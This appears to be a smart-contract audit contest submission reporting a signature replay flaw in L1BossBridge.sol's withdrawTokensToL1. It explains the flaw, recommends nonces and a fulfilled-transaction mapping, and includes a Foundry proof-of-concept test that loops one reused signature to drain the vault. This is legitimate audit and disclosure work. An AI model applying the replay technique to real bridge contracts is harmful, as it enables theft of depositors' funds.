Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Signature Replay Attack in L1BossBridge.sol

Summary

An attacker can call withdrawTokensToL1() or sendToL1() with the same signed message, essentially utilizing a signature replay attack.

Vulnerability Details

The contract makes use of signed messages to withdraw funds. These messages are signed by the Signer role.
The signed message includes: address of the token, value of eth(passed as 0), the address of the vault and the amount of token to transfer. Whenever a user wants to withdraws funds, the signer generates a signature and the signed message approving the withdrawal of funds. Then, the user can call withdrawTokensToL1() using the signature, token amount and receiver address. The problem is that there is nothing to keep track of the uniqueness of a single signed message.

This opens an attack vector for a replay attack. An attacker can, like a normal user, deposit and then request a signed message to withdraw their funds. After that they can use the same signed message to withdraw the rest of funds in the vault.

Let's look at the function withdrawTokensToL1():

Code
function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)
);
}

As we can see the signed message has a receiver address and amount to be transfered. The transaction cannot be uniquely identified.

Impact

This vulnerability can be used to completely drain the funds of the vault.

Tools Used

Manual review

Recommendations

Along with an address and amount, the signed message should also have a nonce to denote the transactions uniqueness. Additionally, transactions (e.g the transaction hash) should be marked as fulfilled in the contracts storage. For example using a mapping(bytes32 => bool). This way the contract can keep track of which transactions are fulfilled.

PoC

The following test shows how an attacker can drain the funds completely from the vault. Paste this in L1TokenBridge.t.sol.

PoC code
function testReplayAttack() public {
// Set up attacker with 100 tokens
vm.startPrank(deployer);
address attacker = makeAddr("attacker");
address attackerInL2 = makeAddr("attackerInL2");
token.transfer(attacker, 100e18);
vm.stopPrank();
// First we deposit 900 tokens in the vault as the user
vm.startPrank(user);
uint256 depositAmount = 900e18;
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
vm.stopPrank();
// Then we deposit 100 tokens in the vault as the attacker
vm.startPrank(attacker);
uint256 attackerDepositAmount = 100e18;
token.approve(address(tokenBridge), attackerDepositAmount);
tokenBridge.depositTokensToL2(attacker, attackerInL2, attackerDepositAmount);
/*
* The vault now holds 1000 tokens, 900 from user and 100 from attacker.
* The attacker will now withdraw 100 tokens.
*/
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(attacker, attackerDepositAmount), operator.key);
tokenBridge.withdrawTokensToL1(attacker, attackerDepositAmount, v, r, s);
// The attacker can now use the same signed message to withdraw the rest of the funds from the vault
while(token.balanceOf(address(vault)) > 0) {
tokenBridge.withdrawTokensToL1(attacker, attackerDepositAmount, v, r, s);
}
// After all is done, the attacker has 1000 tokens and the vault has 0
assertEq(token.balanceOf(address(attacker)), 1000e18);
assertEq(token.balanceOf(address(vault)), 0);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.